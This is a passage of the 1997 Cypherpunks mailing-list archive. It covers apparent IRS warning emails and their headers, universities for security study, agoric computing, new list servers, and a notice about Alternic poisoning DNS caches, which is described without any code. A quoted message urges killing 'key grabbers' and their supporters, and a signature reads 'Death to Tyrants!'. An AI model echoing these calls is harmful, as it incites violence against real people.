----- End of forwarded message from IRS Inspection -----


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From nobody at REPLAY.COM  Sat Jul 19 23:26:36 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 20 Jul 1997 14:26:36 +0800
Subject: Something of Interest (fwd)
Message-ID: <199707200618.IAA02780@basement.replay.com>



Alan wrote:
> >>>Is it just me, or does anyone else remember a similar message being pumped
> >>>out about the same time Bell was raided (April 1).

> I found the actual article.  It was forwarded to the list by someone.
> (Maybe Igor?)  The headers are interesting.  I have the full header set if
> anyone is interested...
> 
> This post did not seem to get posted to the list, but only as a forward... 

  It is my recollection that Igor filters the incoming files that use
a blind cc: to cypherpunks@(anylist).com and checks to see if they
are spam with cc:'s to a thousand email addresses or are meant for
the cypherpunks list in specific.
  If they are not just random spam, then Igor forwards them to the
list subscribers, which accounts for the headers showing the post
as a forward rather than as sent directly to the list.






From blancw at cnw.com  Sat Jul 19 23:29:42 1997
From: blancw at cnw.com (Blanc)
Date: Sun, 20 Jul 1997 14:29:42 +0800
Subject: (Fwd) Something of Interest
Message-ID: <199707200622.XAA18842@baker.cnw.com>



From: jf_avon

|I received this out of the blues.  I suppose that you received it
|too.
...........................................................


 I didn't receive it, and I set off quite a round of discussion with Jim & the
list, at one point.   Guess I'm not considered controversial enough to get it.
:>)

    ..
Blanc







From ravage at ssz.com  Sat Jul 19 23:43:15 1997
From: ravage at ssz.com (Jim Choate)
Date: Sun, 20 Jul 1997 14:43:15 +0800
Subject: (Fwd) Something of Interest (fwd)
Message-ID: <199707200628.BAA08519@einstein.ssz.com>



Hi,


I would like to add one thing, jf_avon at ssz.com doesn't exist as a valid user
account or alias on any ssz.com system.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|


Forwarded message:
> From owner-cypherpunks at ssz.com Sun Jul 20 01:15:32 1997
> Message-Id: <199707200622.XAA18842 at baker.cnw.com>
> From: "Blanc" 
> To: 
> Subject: Re: (Fwd) Something of Interest
> Date: Sat, 19 Jul 1997 23:31:08 -0700
> MIME-Version: 1.0
> Content-Type: text/plain;
> 	charset="iso-8859-1"
> Content-Transfer-Encoding: 7bit
> X-Priority: 3
> X-MSMail-Priority: Normal
> X-Mailer: Microsoft Outlook Express 4.71.0913.4
> X-MimeOle: Produced By Microsoft MimeOLE Engine V4.71.0913.6
> Sender: owner-cypherpunks at ssz.com
> Precedence: bulk
> X-Mailing-List: cypherpunks at ssz.com
> X-List-Admin: list at ssz.com
> X-Loop: ssz.com
> From: jf_avon at ssz.com
> 
> |I received this out of the blues.  I suppose that you received it
> |too.
> ...........................................................
> 
> 
>  I didn't receive it, and I set off quite a round of discussion with Jim & the
> list, at one point.   Guess I'm not considered controversial enough to get it.
> :>)
> 
>     ..
> Blanc
> 
> 






From randerso at ece.eng.wayne.edu  Sun Jul 20 00:18:02 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Sun, 20 Jul 1997 15:18:02 +0800
Subject: Cypherpunk U
In-Reply-To: 
Message-ID: 



On Sat, 19 Jul 1997, Tim May wrote:

> If the former, look for where the papers that interest you are coming from.
> That is, whom do you want to work with? UC Berkeley is obviously doing
> interesting work, Purude has some well known folks, and Carnegie-Mellon is
> in the home city of CERT (maybe not a recommendation...). And Stanford is
> always a hotbed. At least a dozen other places are doing fine work.

You do realize that CERT is run by the Software Engineering Institute, a
division/center/something run by Carnegie-Mellon, right?

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From shamrock at netcom.com  Sun Jul 20 01:44:53 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sun, 20 Jul 1997 16:44:53 +0800
Subject: (Fwd) Something of Interest
In-Reply-To: <199707200622.XAA18842@baker.cnw.com>
Message-ID: <3.0.2.32.19970720005348.00704074@netcom10.netcom.com>



At 11:31 PM 7/19/97 -0700, Blanc wrote:
> I didn't receive it, and I set off quite a round of discussion with Jim &
the
>list, at one point.   Guess I'm not considered controversial enough to get
it.

That makes two of us. BTW, I am still not convinced that these emails
originated with the IRS. It just doesn't sound right.


--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From digital_matrix at hotmail.com  Sun Jul 20 02:54:04 1997
From: digital_matrix at hotmail.com (David Downey)
Date: Sun, 20 Jul 1997 17:54:04 +0800
Subject: New Cypher ListServ  (part 1)
Message-ID: <199707200949.CAA13378@f78.hotmail.com>



I recently purchased my own domain called CyberSpaceTechnologies.com, 
and with it I recieved the ability to own and operate a ListServ of my 
own. I will continue to be a member of this one.                             
Yet in order to make sure that we may always have a place from which to 
discuss this most important of issues, I have started the 
Cryptography-Politics-PGP-L listserv. This listserv will be up in 
approximately 72 - 96 hours hopefully. Those of you with long time 
experience with listservs, and those that have run them before, I would 
be honored to hear from you on the best way to run this. I have decided 
beforehand that it would be an unmoderated list. The ONLY monitoring 
that I will do, is to glean email addresses and upstream server 
addresses from spam messages for the purpose of notifying offenders that 
such actions are not wanted or tolerated on this list. I hereby pledge 
that in no way shape or form, will I passively allow spammers or other 
entities to use email addresses from this list for ANYTHING without 
first getting permission from the email address owner. If ANYONE sees 
that happen, PLEASE notify me IMMEDIATELY! I want this list to be a 
place where open discussion of this issue may take place regardless of 
age, sex, creed, religion, experience, or lack thereof. We are a 
community of believers, believers in the right to freedom, privacy, and 
the ability to remain an idividual.  The only thing I ask, and this is a 
request not a demand, is that all list members treat new and old members 
with the level of respect and courtesy that you would expect for 
yourself, if not better. Not much to ask, I don't think.

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com






From rah at shipwright.com  Sun Jul 20 05:23:30 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sun, 20 Jul 1997 20:23:30 +0800
Subject: Will Monolithic Apps Dominate?
In-Reply-To: <97Jul19.201054edt.32257@brickwall.ceddec.com>
Message-ID: 



At 12:52 am -0400 on 7/20/97, sar wrote:

Just to be clear, when I talk about geodesic software, I'm not talking
about linux, as much as I like the idea of linux personally. In fact, if
the Mac ever dies, I'll probably end up on linux someday. Certainly, once
you put any machine on the internet, its software becomes more geodesic
than it was sitting on a desktop or in a rack, and, for the sake of
argument, I'm willing to agree that because of increasing availablity of
cool free net.stuff in linux, it may more geodesic than Microsoft or Apple
operating systems.

I could be wrong, but the cycle from not having what you need to do
something new, to installing it and running it, is too slow for modern
operating systems like linux to call them geodesic software in the sense
that I was using the phrase. Java the brand-name claims to do this in
"market"space, but Java as running software ain't there yet in cyberspace,
and may never be.

I'm beginning to think that until it's possible for a given processor to
autonomously buy the software it needs for cash in an auction market, and
then download and install that software, all at run time, the
superscalibility of an environment where software is dispersed through the
network (again, "surfacted" is not a bad word to describe this), and run in
the smallest possible bits at the processor level just won't happen.

Nonetheless, I do think that the linux gang is going in the right
direction, especially since most most of the cash-settlement technology we
on this list have all come to know and love is more likely to be used in
linux than anywhere else.


Finally, there's the issue of Mhyrvold's software-as-a-gas idea. That is,
that bloatware is a direct result of Moore's Law. Or, more properly,
Parkinson's Law of bureaucracy ("an organization will expand to fit it's
available resources") come to microprocessing.

In an absolute sense, of course, more processing power is more software
waste. My Mac wastes more cycles than I can physically count in a lifetime
waiting for my next keystroke, and, after more than half a lifetime at the
keyboard, I am a pretty fast typist.

 However, at some point, I think that the added "waste" of profit-and-loss
responsibility at the processor level, effectively a cash-settled auction
market for cycle-time, will yield much more efficiency in allocating
processor time than piling on yet another feature and compiling it in with
the rest of some vertically integrated application behemouth. Waiting for
everybody else's requested features to creep by before the application can
let us have the one we need to use will be a thing of the past when that
happens.

Cheers,
Bob Hettinga





-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From digital_matrix at hotmail.com  Sun Jul 20 06:54:41 1997
From: digital_matrix at hotmail.com (David Downey)
Date: Sun, 20 Jul 1997 21:54:41 +0800
Subject: New Cypher ListServ  (part 2)    **REVISED**
Message-ID: <199707201316.GAA16122@f10.hotmail.com>



The Cryptography-Politics-PGP-L ListServ is in operation.(We just 
finished up with the majordomo scripts and the like). Here is what you 
need to do to join.  BTW, this list is a digested list. Please do not 
freak if things do not go right straight from the get go. I hope to have 
this as painless as possible, yet we all know that Murphy wrote Murphy's 
Law just for this instance. Please bear with me. Once again, ANY 
suggestions, short of flames, will be listened to 100%!
Now for the nitty gritty.


SUBSCRIBE/UNSUBSCRIBE TO Cryptography-Politics-PGP-L
=====================================================
Subscribing
-----------
To subscribe, send the message 

     subscribe Cryptography-Politics-PGP-L

to majordomo at cyberspacetechnologies.com 


Unsubscribing
-------------
To unsubscribe, send the message 

     unsubscribe Cryptography-Politics-PGP-L

to majordomo at cyberspacetechnologies.com 


Posting
-------
Messages sent to Cryptography-Politics-PGP-L at cyberspacetechnologies.com
will be posted to the entire list.

Digests
-------
When subscribed, send message to majordomo at Cyberspacetechnologies.com 
with   get Cryptography-Politics-PGP-L-digest  as the message body.



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com






From rdl at MIT.EDU  Sun Jul 20 07:00:38 1997
From: rdl at MIT.EDU (Ryan Lackey)
Date: Sun, 20 Jul 1997 22:00:38 +0800
Subject: Cypherpunk U
Message-ID: <199707201355.JAA22844@sundial.MIT.EDU>



I think any of the schools which have been mentioned are great for
undergrad.  After being at MIT for a while (and now being eited
by financial reasons, hopefully to be resolved before fall...), I
learned to really appreciate the research programs offered by
some universities to undergrads -- MIT has a really good program
in that area, I'm not sure about the others.  I think if there were
one thing which I used to pick an undergrad school again, it would be
the potential to get involved in faculty research.  At MIT, the
media lab does a fair amount of applied cryptology, and there is
of course the theoretical computing lab which does a lot of
application and theory.

It's not that hard to get in, either.  After all, I got in.  There are
a few useful tricks for your application -- email me if you'd like help.

One of the big annoying parts of going to MIT is that firearms are
banned from college campuses (except at ranges) in the state.  Sigh.

---
Ryan Lackey
rdl at mit.edu						3 Ames St
http://mit.edu/rdl/www/					Cambridge, MA 02142






From ravage at ssz.com  Sun Jul 20 08:11:10 1997
From: ravage at ssz.com (Jim Choate)
Date: Sun, 20 Jul 1997 23:11:10 +0800
Subject: Will Monolithic Apps Dominate? (fwd)
Message-ID: <199707201456.JAA08917@einstein.ssz.com>



Forwarded message:

> Date: Sun, 20 Jul 1997 08:03:09 -0400
> From: Robert Hettinga 
> Subject: Re: Will Monolithic Apps Dominate?

> I'm beginning to think that until it's possible for a given processor to
> autonomously buy the software it needs for cash in an auction market, and
> then download and install that software, all at run time, the
> superscalibility of an environment where software is dispersed through the
> network (again, "surfacted" is not a bad word to describe this), and run in
> the smallest possible bits at the processor level just won't happen.
> 
> Nonetheless, I do think that the linux gang is going in the right
> direction, especially since most most of the cash-settlement technology we
> on this list have all come to know and love is more likely to be used in
> linux than anywhere else.

You should look into Plan 9 with purchasing extensions to its job-processor
scheduling scheme. This would allow several interesting features:

 -   anonymous execution of jobs

     The person scheduling the job would have no idea exactly where the
     job was running, only that it was at the time the least expensive
     alternative available.

 -   anonymous processor selection

     The person owning the machine would not know where all the processes
     currently running come from since it would not be possible to turn
     the execution key into an actual machine address.

 -   automatic and anonymous software selection

     Jobs don't need to have the required software or even where it might
     be located. The job would need to understand the catalog scheme in
     place to locate the software (think of a library card system).

Since the OS already bids for processor space it would not require a
major architecture mod to include E$/crypto functions.

> Finally, there's the issue of Mhyrvold's software-as-a-gas idea. That is,
> that bloatware is a direct result of Moore's Law.

I have to disagree. Bloatware comes from the way we look at software
(ie generalize & modularize it) and the way we impliment it (ie libraries).
While it makes the programmers job easier it makes the amount of software
required for the job larger that required because the libraries have
functions and features that aren't used (in this product). Bloatware won't
be fixed unless we (ugh) go back to monolithic project design with most
code custom built with little re-use from previous versions. I suspect it is
easier to buy another 4M of RAM than to pay the programmers to re-create the
wheel each time a new version comes out.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Sun Jul 20 08:14:07 1997
From: ravage at ssz.com (Jim Choate)
Date: Sun, 20 Jul 1997 23:14:07 +0800
Subject: New Cypher ListServ  (part 2)    **REVISED** (fwd)
Message-ID: <199707201458.JAA08952@einstein.ssz.com>



Forwarded message:

> From: "David Downey" 
> Subject: New Cypher ListServ  (part 2)    **REVISED**
> Date: Sun, 20 Jul 1997 06:16:19 PDT

> The Cryptography-Politics-PGP-L ListServ is in operation.(We just 
> finished up with the majordomo scripts and the like). Here is what you 
> need to do to join.  BTW, this list is a digested list. Please do not 
> freak if things do not go right straight from the get go. I hope to have 
> this as painless as possible, yet we all know that Murphy wrote Murphy's 
> Law just for this instance. Please bear with me. Once again, ANY 
> suggestions, short of flames, will be listened to 100%!
> Now for the nitty gritty.

Is this a new CDR node or is this a new indipendant mailing list?

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From pgp at pgmedia.net  Mon Jul 21 00:42:23 1997
From: pgp at pgmedia.net (pgMedia)
Date: Mon, 21 Jul 1997 00:42:23 -0700 (PDT)
Subject: Nameserver Cache Contamination by Alternic is Irresponsible Practice
Message-ID: <1342668071-308338@MediaFilter.org>


To All System Administrators:

I recommend that you restart all of your nameservers
to clear out their caches...

Alternic has cached bogus information
on your servers and others, rerouting
www.internic.net to www.alternic.net
and www.netsol.com to www.alternic.net
as well as causing failures to resolve other
addresses.

I find this practice by Alternic IRRESPONSIBLE
as sets a negative example for the independent
NameService Providers.

Name.Space does not in any way support this
IRRESPONSIBLE PRACTICE or any TRAFFIC HIJACKING
of any kind.

Name.space disclaims any connection whatsoever to
"Alternic", "eDNS", or any of their affiliates, nor
does name.space endorse any of the policies of the
aforementioned entities.

Name.space is committed to RESPONSIBLE PRACTICE
in providing nameservice in the interests of the
international public and in keeping the toplevel
namespace in the public domain.

regards,

Paul Garrin
name.space
http://namespace.xs2.net

see related articles:
http://namespace.xs2.net/media







From ravage at ssz.com  Sun Jul 20 10:19:48 1997
From: ravage at ssz.com (Jim Choate)
Date: Mon, 21 Jul 1997 01:19:48 +0800
Subject: CDR Traffic & IRC
Message-ID: <199707201702.MAA09092@einstein.ssz.com>



Hi,

I have obtained a Sparc ELC (4/25) w/ 24M of RAM and 200M of disk space
under Solaris 1.1.2 (SunOS 4.1.4). I will be installing the gcc suite from
the O'Reilly "Programming with GNU software" since this is a supported
OS. I intend to set it up as a small public access irc server. I was
wondering if anyone had suggestions on such hardware and what to use.

The crypto relevance is that I was thinking of having a #cdr channel which
would receive traffic from the regular mailing list. In other words when a
user joins #cdr they could use the normal irc functions but a bot would be
receiving the mailing list traffic as it arrives and sending it out. I am
not proposing to send the #cdr traffic to the mailing list. It would be
one way only. Though a bot function to forward mail on a per request basis
might be implimented if some suitable abuse avoidance mechanism could be
worked out.

Any other crypto relevant suggestions on this topic welcome.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From  at _  Sun Jul 20 10:56:29 1997
From:  at _ ( at _)
Date: Mon, 21 Jul 1997 01:56:29 +0800
Subject: MLM Still Giving You the Shaft?
Message-ID: <199707200849.NAA24466@godzilla.wavegate.com>



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From declan at pathfinder.com  Sun Jul 20 11:51:00 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Mon, 21 Jul 1997 02:51:00 +0800
Subject: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups
In-Reply-To: <19970719072518.07383@bywater.songbird.com>
Message-ID: 



Kent,

Yours is an interesting response. But what if one has no principles, just
strategy and tactics?

If you don't know what your principles are -- if you can't identify them
and speak to them -- then you have no business being an advocate.

    "I have been a selfish being all my life, in practice, though
     not in principle." --Jane Austen

-Declan



On Sat, 19 Jul 1997, Kent Crispin wrote:

> On Fri, Jul 18, 1997 at 07:19:31PM -0700, Declan McCullagh wrote:
> [...]
> > This goes back to the original debate: pragmatism vs. principle. How do
> > you stand on principle and remain an effective advocate in Washington? If
> > you navigate the route of pragmatism and compromise, what does that mean
> > for civil liberties? Can you avoid compromising them away?
> 
> A quote you may find interesting:
> 
> "The debate between compromise and principle is a false debate, 
> because principle doesn't speak, it acts.  People don't compromise 
> their principles -- they simply mis-identify them."
> 
> -- 
> Kent Crispin				"No reason to get excited",
> kent at songbird.com			the thief he kindly spoke...
> PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
> http://songbird.com/kent/pgp_key.html
> 
> 






From declan at pathfinder.com  Sun Jul 20 11:57:50 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Mon, 21 Jul 1997 02:57:50 +0800
Subject: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: 



"Patriotism is the last refuge of a scoundrel." --Samuel Johnson

Often those who speak of patriotism wield the term as a thunderbolt to
head off criticism of their plans. "It is unpatriotic to oppose the
CDA, mandatory key escrow." It is indeed the last refuge of a scoundrel
when used as an excuse to violate civil liberties.

I suspect that's not what Tim was doing below.

-Declan



On Sat, 19 Jul 1997, Kent Crispin wrote:

> On Fri, Jul 18, 1997 at 10:10:37PM -0700, Tim May wrote:
> [usual rant deleted]
> > 
> > Kill the key grabbers and all those who support them. Isn't it exactly what
> > Patrick Henry, Thomas Jefferson, and the others would have argued?
> 
> Amazing.  Patriotism -- the last refuge of the scoundrel.
> 
> However, Patric Henry said something like "Give me liberty or give me
> death." That is really very different from "Kill everyone who opposes
> me and all their supporters." Tim doesn't seem to understand this
> nuance. 
> 
> -- 
> Kent Crispin				"No reason to get excited",
> kent at songbird.com			the thief he kindly spoke...
> PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
> http://songbird.com/kent/pgp_key.html
> 
> 






From declan at pathfinder.com  Sun Jul 20 11:59:22 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Mon, 21 Jul 1997 02:59:22 +0800
Subject: IRS sending warning notes, violating ECPA?
In-Reply-To: 
Message-ID: 



Of course, the P.Dilemma is a particularly academic invention. In real
situations, the prisoners probably know each other and know of each
other's reputation capital. They may be known not to squeal, for instance,
which is why they chose to commit the crime together. And confessing might
have other repercussions later on in life...

-Declan


On Sat, 19 Jul 1997, Tim May wrote:
 
> On the other hand, the relevance to Prisoner's Dilemma games is pretty obvious:
> 
> "Mr. Bell, if you confess and plead guilty, you'll receive a one-year
> prison term. If you don't confess, when we find you guilty you'll receive
> the maximum term. If you confess but Mr. May _also_ confesses, you'll still
> receive the maximum term. If neither of you confesses, you'll still be
> found guilty. So, what'll it be?"






From digital_matrix at hotmail.com  Mon Jul 21 03:13:51 1997
From: digital_matrix at hotmail.com (David Downey)
Date: Mon, 21 Jul 1997 03:13:51 -0700 (PDT)
Subject: No Subject
Message-ID: <199707211013.DAA16044@f19.hotmail.com>


unsubscribe cryptography-politics-pgp-l

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From rah at shipwright.com  Sun Jul 20 13:01:06 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 21 Jul 1997 04:01:06 +0800
Subject: Will Monolithic Apps Dominate? (fwd)
In-Reply-To: <199707201456.JAA08917@einstein.ssz.com>
Message-ID: 



At 10:56 am -0400 on 7/20/97, Jim Choate wrote:


> You should look into Plan 9



> Since the OS already bids for processor space it would not require a
> major architecture mod to include E$/crypto functions.

Yeah. I've seen demos of what I think was plan 9, actually it's
successor(?). Both of them were Bell (now Lucent) efforts, right?

Certainly, it looks like it was a step in the right direction, if it works
as advertised.


>
> > Finally, there's the issue of Mhyrvold's software-as-a-gas idea. That is,
> > that bloatware is a direct result of Moore's Law.
>
> I have to disagree. Bloatware comes from the way we look at software
> (ie generalize & modularize it) and the way we impliment it (ie libraries).
> While it makes the programmers job easier it makes the amount of software
> required for the job larger that required because the libraries have
> functions and features that aren't used (in this product). Bloatware won't
> be fixed unless we (ugh) go back to monolithic project design with most
> code custom built with little re-use from previous versions. I suspect it is
> easier to buy another 4M of RAM than to pay the programmers to re-create the
> wheel each time a new version comes out.

No, but I bet that if there was a profit-loss feedback loop at the lowest
possible level of the, what?, solution (do we call a group of autonomous
cooperating bits of code an application?) then, at some point in the
development of a cash settlement mechanism, the benefits of efficiency
would far outweigh the extra cost of cash handling.

The idea of micromoney as processor food, I think, gets us a way to pay for
the adaptive evolution with the same, or better, results than we'd get by
top-down monolithic project design.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From tcmay at got.net  Sun Jul 20 13:48:22 1997
From: tcmay at got.net (Tim May)
Date: Mon, 21 Jul 1997 04:48:22 +0800
Subject: Objects, Auctions, and Digital Money
In-Reply-To: <199707201456.JAA08917@einstein.ssz.com>
Message-ID: 



At 11:58 AM -0700 7/20/97, Robert Hettinga wrote:

>The idea of micromoney as processor food, I think, gets us a way to pay for
>the adaptive evolution with the same, or better, results than we'd get by
>top-down monolithic project design.
>

A husband-wife programming team just spent the last day or so at my place,
filling me in on their recent successes with their "agent-oriented
database" for financial trading. Unlike a lot of the hype about agents, in
books and in press releases, they've used their system for data mining of
financials, and have made a _lot_ of money with it. (They are not the folks
at The Prediction Company, in case anyone is wondering. Nor are they the
D.E. Shaw group. I can't say more right now, as the stakes and pool they
are running are up in the $10M range, and they hope/expect this to soon get
a lot larger. This could turn out to be one of the seminal applications of
this set of interrelated ideas.)

Bidding of agents is an important part of this approach. (Allocation of
resources, "putting their money where their mouth is," genetic programming,
evolutionary learning, data mining, neural nets, and all the other major
buzzwords. Their agents are somewhat "agnostic" about any particular
approach and they "use it if it works, otherwise kill it." The Koza-style
genetic programming top layer then makes use of the various buzzword
paradigms at lower levels, e.g., using time-series analysis for parts,
neural nets for other parts, forward-propagation for other parts, etc.)

The "agoric computation" work of Miller, Drexler, Tribble, Huberman and
others is relevant. (Huberman edited a book, circa 1987-8, "The Ecology of
Computation," which contains several of the important papers. The Miller
and Drexler papers are the ones to focus on.)

The "Digital Silk Road" work of our own Norm Hardy (and either Dean Tribble
or Mark Miller, I forget which right now) is highly relevant.

Some of this work is already being used to "market allocate" CPU cycles in
distributed systems. Sort of analogous to the "distributed crack" work
(except the distributed crack work is a winner take all approach, not
counting the confused situation with the DESCHALL crack recently). In
computational models where the prize is not so obvious, as in most routine
calculations in business, a market allocation model better uses
computational resources.

Selling spare CPU cycles is another related idea. Several Cypherpunks have
ideas along these lines.

Coincidentally, my last major project for Intel involved developing a
scheme for better automating and streamlining wafer production by having
wafer "runs" (manufacturing lots) bid for access to scarce resources. I
think I was strongly influenced by thinking about how wafer runs could be
seen as "objects" carring their own local state--the complicated time
history of the treatments they had received in the fabs, and test results,
etc.--and how traditional wafer lot tracking systems failed to
intelligently use any of this information. This "Frame-Based Manufacturing
System," using the work on frames with slots contained triggered methods
(daemons), would have essentially put an economic, agoric layer on what is
now mostly a human-run bureaucratic layer. (With various departments and
groups clamoring for access to equipment, rather than an auction approach.)

My environment at that time was a Symbolics 3670 LISP machine, with a user
interface/GUI of unparalleled elegance and power. And KEE, the Knowledge
Enngineering Environment, from Intellicorp.

I left Intel in '86, and the project limped along for another couple of
years. Miller and Drexler visited my group in '87, after I was gone, and
the work on using auction methods in wafer fabs entered into their
thinking, as they later told me.

(Intel did not deploy my vision. I can guess some of the reasons. Last I
heard, they're still struggling to adapt conventional relational data bases
for tracking wafer runs, but are not integrating in the vast amounts of
(expensive) knowledge in any meaningful way.)

These ideas are all part of a larger mosaic (TM, the Netscape Corporation)
of ideas involving collective computation, intelligent agents,
object-oriented data bases, "seas of objects" (a la Gelernter's "Linda"
system), auction markets, price discovery, and AI in general.

It's sad that so much of Cypherpunks coding has, perforce, been "stalled"
at the level of implementing mundane ciphers and showing weaknesses in
ciphers known 20 years ago to be weak.

The really neat stuff is taking a long time to percolate out.

--Tim May






There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From jer+ at andrew.cmu.edu  Sun Jul 20 15:09:40 1997
From: jer+ at andrew.cmu.edu (Jeremiah A Blatz)
Date: Mon, 21 Jul 1997 06:09:40 +0800
Subject: Cypherpunk U
In-Reply-To: 
Message-ID: <0nocet200YUg0JQlU0@andrew.cmu.edu>



Tim May  writes:
> At 2:17 PM -0700 7/19/97, Nick West wrote:
> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >What are some of the better colleges/universities to study
> >Computer/Network security at? I know MIT is a good one. Any others
> >that aren't quite so hard to get in to that still offer quality
> >programs?
> 
> Do you mean for grad school, or for undergrad work?
> 
> If the former, look for where the papers that interest you are coming from.
> That is, whom do you want to work with? UC Berkeley is obviously doing
> interesting work, Purude has some well known folks, and Carnegie-Mellon is
> in the home city of CERT (maybe not a recommendation...). And Stanford is
> always a hotbed. At least a dozen other places are doing fine work.
> 
> If for undergrad work, you of course won't have any exposure to speak of in
> these areas, save for one or two courses. Maybe.

CMU does lots of real world crypto stuff, mostly centering around
Kerberos. There's some good theory here, too. In addition, NetBill
(book-entry bastards) does some crypto. If you were interested in
working one of those projects, you could easily do so as an undergrad.
There's also one "number theory" class which is basically crypto 101.
As for grad work, if you're interested in number theory and such, you
could do well here. Otherwise, you might consider somewhere else.

Allumnusly yours,
Jer

BTW, the administration here is a bunch of bloody facists.

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole






From jya at pipeline.com  Sun Jul 20 15:41:56 1997
From: jya at pipeline.com (John Young)
Date: Mon, 21 Jul 1997 06:41:56 +0800
Subject: IRS Spam
Message-ID: <1.5.4.32.19970720222258.006eb734@pop.pipeline.com>



Here's the latest tally of IRS Inspection spam headers with
the number of recipients in parentheses: 6 directly, 4 via
3 lists so far.

IRS MESSAGE 1 -- Message-Id: <199707171625.MAA02707 at net.insp.irs.gov>
(1)              Date: Thu, 17 Jul 1997 12:25:26 -0400

IRS MESSAGE 2 -- Message-Id: <199707171628.MAA02724 at net.insp.irs.gov>
(1)              Date: Thu, 17 Jul 1997 12:28:11 -0400

IRS MESSAGE 3 -- Message-Id: <199707171629.MAA02733 at net.insp.irs.gov>
(2)              Date: Thu, 17 Jul 1997 12:29:08 -0400

IRS MESSAGE 4 -- Message-Id: <199707171630.MAA02739 at net.insp.irs.gov>
(3)              Date: Thu, 17 Jul 1997 12:30:03 -0400

IRS MESSAGE 5 -- Message-Id: <199707171631.MAA02749 at net.insp.irs.gov>
(1)              Date: Thu, 17 Jul 1997 12:31:08 -0400

IRS MESSAGE 6 -- Message-Id: <199707171633.MAA02778 at net.insp.irs.gov>
(2)              Date: Thu, 17 Jul 1997 12:33:43 -0400

Note that the date/time within the Id is four hours later than those
of the message, probably due to send box settings. Also, the 
first hop of all messages to Treasury's initial mail gate occurs 
18h:17m - 18h:18m after the date/time of the message (see full headers).

----------

Full headers at:

   http://jya.com/irs-headers.txt

The $.25m spam at:

   http://jya.com/irs-spam.htm







From alan at ctrl-alt-del.com  Sun Jul 20 16:28:50 1997
From: alan at ctrl-alt-del.com (Alan)
Date: Mon, 21 Jul 1997 07:28:50 +0800
Subject: Keepers of the keys
In-Reply-To: 
Message-ID: 



On Sun, 20 Jul 1997, Declan McCullagh wrote:

> "Patriotism is the last refuge of a scoundrel." --Samuel Johnson

Patriotism is the *FIRST* refuge of a scoundrel.  (The second is prayer.)

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
